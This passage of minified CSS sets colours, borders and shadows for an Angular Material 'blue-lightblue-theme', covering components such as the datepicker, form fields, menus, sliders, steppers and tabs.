.mat-calendar-body-in-preview{color:#0000003d}.blue-lightblue-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.blue-lightblue-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.blue-lightblue-theme .mat-calendar-body-in-range:before{background:rgba(25,118,210,.2)}.blue-lightblue-theme .mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.blue-lightblue-theme .mat-calendar-body-comparison-bridge-start:before,.blue-lightblue-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(25,118,210,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-calendar-body-comparison-bridge-end:before,.blue-lightblue-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(25,118,210,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.blue-lightblue-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.blue-lightblue-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.blue-lightblue-theme .mat-calendar-body-selected{background-color:#1976d2;color:#fff}.blue-lightblue-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#1976d266}.blue-lightblue-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.blue-lightblue-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.blue-lightblue-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1976d24d}@media (hover: hover){.blue-lightblue-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1976d24d}}.blue-lightblue-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(2,136,209,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.blue-lightblue-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(2,136,209,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.blue-lightblue-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(2,136,209,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#0288d1;color:#fff}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#0288d166}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.blue-lightblue-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.blue-lightblue-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#0288d14d}@media (hover: hover){.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#0288d14d}}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.blue-lightblue-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.blue-lightblue-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.blue-lightblue-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.blue-lightblue-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.blue-lightblue-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.blue-lightblue-theme .mat-datepicker-toggle-active{color:#1976d2}.blue-lightblue-theme .mat-datepicker-toggle-active.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.blue-lightblue-theme .mat-date-range-input-inner[disabled]{color:#00000061}.blue-lightblue-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.blue-lightblue-theme .mat-divider{border-top-color:#0000001f}.blue-lightblue-theme .mat-divider-vertical{border-right-color:#0000001f}.blue-lightblue-theme .mat-expansion-panel{background:white;color:#000000de}.blue-lightblue-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-action-row{border-top-color:#0000001f}.blue-lightblue-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.blue-lightblue-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.blue-lightblue-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.blue-lightblue-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.blue-lightblue-theme .mat-expansion-panel-header-title{color:#000000de}.blue-lightblue-theme .mat-expansion-panel-header-description,.blue-lightblue-theme .mat-expansion-indicator:after{color:#0000008a}.blue-lightblue-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.blue-lightblue-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.blue-lightblue-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.blue-lightblue-theme .mat-form-field-label,.blue-lightblue-theme .mat-hint{color:#0009}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-label{color:#1976d2}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.blue-lightblue-theme .mat-focused .mat-form-field-required-marker{color:#0288d1}.blue-lightblue-theme .mat-form-field-ripple{background-color:#000000de}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#1976d2}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#1976d2}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#0288d1}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.blue-lightblue-theme .mat-error{color:#f44336}.blue-lightblue-theme .mat-form-field-appearance-legacy .mat-form-field-label,.blue-lightblue-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.blue-lightblue-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.blue-lightblue-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.blue-lightblue-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.blue-lightblue-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.blue-lightblue-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.blue-lightblue-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.blue-lightblue-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.blue-lightblue-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.blue-lightblue-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.blue-lightblue-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.blue-lightblue-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#1976d2}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#0288d1}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.blue-lightblue-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.blue-lightblue-theme .mat-icon.mat-primary{color:#1976d2}.blue-lightblue-theme .mat-icon.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-icon.mat-warn{color:#f44336}.blue-lightblue-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.blue-lightblue-theme .mat-input-element:disabled,.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.blue-lightblue-theme .mat-input-element{caret-color:#1976d2}.blue-lightblue-theme .mat-input-element::placeholder{color:#0000006b}.blue-lightblue-theme .mat-input-element::-moz-placeholder{color:#0000006b}.blue-lightblue-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.blue-lightblue-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.blue-lightblue-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-warn .mat-input-element,.blue-lightblue-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.blue-lightblue-theme .mat-list-base .mat-list-item,.blue-lightblue-theme .mat-list-base .mat-list-option{color:#000000de}.blue-lightblue-theme .mat-list-base .mat-subheader{color:#0000008a}.blue-lightblue-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.blue-lightblue-theme .mat-list-option:hover,.blue-lightblue-theme .mat-list-option:focus,.blue-lightblue-theme .mat-nav-list .mat-list-item:hover,.blue-lightblue-theme .mat-nav-list .mat-list-item:focus,.blue-lightblue-theme .mat-action-list .mat-list-item:hover,.blue-lightblue-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-list-single-selected-option,.blue-lightblue-theme .mat-list-single-selected-option:hover,.blue-lightblue-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.blue-lightblue-theme .mat-menu-panel{background:white}.blue-lightblue-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-menu-item{background:transparent;color:#000000de}.blue-lightblue-theme .mat-menu-item[disabled],.blue-lightblue-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.blue-lightblue-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.blue-lightblue-theme .mat-menu-item .mat-icon-no-color,.blue-lightblue-theme .mat-menu-submenu-icon{color:#0000008a}.blue-lightblue-theme .mat-menu-item:hover:not([disabled]),.blue-lightblue-theme .mat-menu-item.cdk-program-focused:not([disabled]),.blue-lightblue-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.blue-lightblue-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-paginator{background:white}.blue-lightblue-theme .mat-paginator,.blue-lightblue-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.blue-lightblue-theme .mat-paginator-decrement,.blue-lightblue-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.blue-lightblue-theme .mat-paginator-first,.blue-lightblue-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-decrement,.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-increment,.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-first,.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.blue-lightblue-theme .mat-progress-bar-background{fill:#c2d9f0}.blue-lightblue-theme .mat-progress-bar-buffer{background-color:#c2d9f0}.blue-lightblue-theme .mat-progress-bar-fill:after{background-color:#1976d2}.blue-lightblue-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#bcdef0}.blue-lightblue-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#bcdef0}.blue-lightblue-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#0288d1}.blue-lightblue-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.blue-lightblue-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.blue-lightblue-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.blue-lightblue-theme .mat-progress-spinner circle,.blue-lightblue-theme .mat-spinner circle{stroke:#1976d2}.blue-lightblue-theme .mat-progress-spinner.mat-accent circle,.blue-lightblue-theme .mat-spinner.mat-accent circle{stroke:#0288d1}.blue-lightblue-theme .mat-progress-spinner.mat-warn circle,.blue-lightblue-theme .mat-spinner.mat-warn circle{stroke:#f44336}.blue-lightblue-theme .mat-radio-outer-circle{border-color:#0000008a}.blue-lightblue-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#1976d2}.blue-lightblue-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.blue-lightblue-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.blue-lightblue-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.blue-lightblue-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#1976d2}.blue-lightblue-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#0288d1}.blue-lightblue-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.blue-lightblue-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.blue-lightblue-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.blue-lightblue-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#0288d1}.blue-lightblue-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.blue-lightblue-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.blue-lightblue-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.blue-lightblue-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.blue-lightblue-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.blue-lightblue-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.blue-lightblue-theme .mat-radio-button .mat-ripple-element{background-color:#000}.blue-lightblue-theme .mat-select-value{color:#000000de}.blue-lightblue-theme .mat-select-placeholder{color:#0000006b}.blue-lightblue-theme .mat-select-disabled .mat-select-value{color:#00000061}.blue-lightblue-theme .mat-select-arrow{color:#0000008a}.blue-lightblue-theme .mat-select-panel{background:white}.blue-lightblue-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.blue-lightblue-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#1976d2}.blue-lightblue-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.blue-lightblue-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.blue-lightblue-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.blue-lightblue-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.blue-lightblue-theme .mat-drawer{background-color:#fff;color:#000000de}.blue-lightblue-theme .mat-drawer.mat-drawer-push{background-color:#fff}.blue-lightblue-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.blue-lightblue-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.blue-lightblue-theme .mat-drawer-side.mat-drawer-end,.blue-lightblue-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.blue-lightblue-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.blue-lightblue-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.blue-lightblue-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#0288d1}.blue-lightblue-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#0288d18a}.blue-lightblue-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#0288d1}.blue-lightblue-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#1976d2}.blue-lightblue-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#1976d28a}.blue-lightblue-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#1976d2}.blue-lightblue-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.blue-lightblue-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.blue-lightblue-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.blue-lightblue-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.blue-lightblue-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.blue-lightblue-theme .mat-slide-toggle-bar{background-color:#00000061}.blue-lightblue-theme .mat-slider-track-background{background-color:#00000042}.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#1976d2}.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.blue-lightblue-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#1976d233}.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#0288d1}.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.blue-lightblue-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#0288d133}.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.blue-lightblue-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.blue-lightblue-theme .mat-slider:hover .mat-slider-track-background,.blue-lightblue-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.blue-lightblue-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.blue-lightblue-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.blue-lightblue-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.blue-lightblue-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.blue-lightblue-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.blue-lightblue-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.blue-lightblue-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.blue-lightblue-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.blue-lightblue-theme .mat-step-header.cdk-keyboard-focused,.blue-lightblue-theme .mat-step-header.cdk-program-focused,.blue-lightblue-theme .mat-step-header:hover:not([aria-disabled]),.blue-lightblue-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.blue-lightblue-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.blue-lightblue-theme .mat-step-header:hover{background:none}}.blue-lightblue-theme .mat-step-header .mat-step-label,.blue-lightblue-theme .mat-step-header .mat-step-optional{color:#0000008a}.blue-lightblue-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.blue-lightblue-theme .mat-step-header .mat-step-icon-selected,.blue-lightblue-theme .mat-step-header .mat-step-icon-state-done,.blue-lightblue-theme .mat-step-header .mat-step-icon-state-edit{background-color:#1976d2;color:#fff}.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon-selected,.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.blue-lightblue-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#0288d1;color:#fff}.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon-selected,.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.blue-lightblue-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.blue-lightblue-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.blue-lightblue-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.blue-lightblue-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.blue-lightblue-theme .mat-stepper-horizontal,.blue-lightblue-theme .mat-stepper-vertical{background-color:#fff}.blue-lightblue-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.blue-lightblue-theme .mat-horizontal-stepper-header:before,.blue-lightblue-theme .mat-horizontal-stepper-header:after,.blue-lightblue-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.blue-lightblue-theme .mat-sort-header-arrow{color:#757575}.blue-lightblue-theme .mat-tab-nav-bar,.blue-lightblue-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.blue-lightblue-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.blue-lightblue-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.blue-lightblue-theme .mat-tab-label,.blue-lightblue-theme .mat-tab-link{color:#000000de}.blue-lightblue-theme 